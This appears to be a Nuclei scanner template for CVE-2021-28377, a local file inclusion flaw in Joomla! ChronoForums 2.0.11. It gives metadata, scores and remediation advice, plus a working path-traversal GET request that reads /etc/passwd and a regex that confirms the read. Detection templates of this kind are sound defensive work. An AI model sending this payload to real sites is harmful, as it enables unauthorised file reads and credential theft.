id: CVE-2021-28377 info: name: Joomla! ChronoForums 2.0.11 - Local File Inclusion author: 0x_Akoko severity: medium description: Joomla! ChronoForums 2.0.11 avatar function is vulnerable to local file inclusion through unauthenticated path traversal attacks. This enables an attacker to read arbitrary files, for example the Joomla! configuration file which contains credentials. remediation: | Update Joomla! ChronoForums to the latest version (2.0.12) or apply the provided patch to fix the LFI vulnerability. reference: - https://herolab.usd.de/en/security-advisories/usd-2021-0007/ - https://nvd.nist.gov/vuln/detail/CVE-2021-28377 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N cvss-score: 5.3 cve-id: CVE-2021-28377 cwe-id: CWE-22 epss-score: 0.00158 epss-percentile: 0.52085 cpe: cpe:2.3:a:chronoengine:chronoforums:2.0.11:*:*:*:*:joomla:*:* metadata: max-request: 1 vendor: chronoengine product: chronoforums framework: joomla tags: cve,cve2021,chronoforums,lfi,joomla http: - method: GET path: - "{{BaseURL}}/index.php/component/chronoforums2/profiles/avatar/u1?tvout=file&av=../../../../../../../etc/passwd" matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" - type: status status: - 200 # digest: 4a0a0047304502210092153380a88dd8e2ae37d290af67c550802b1adf82a717869489112bb294a046022011c3b1b5b2131872ab2ee2fe3699571e23c9df662cf8ac086639b83d4f2db16f:922c64590222798bb761d5b6d8e72950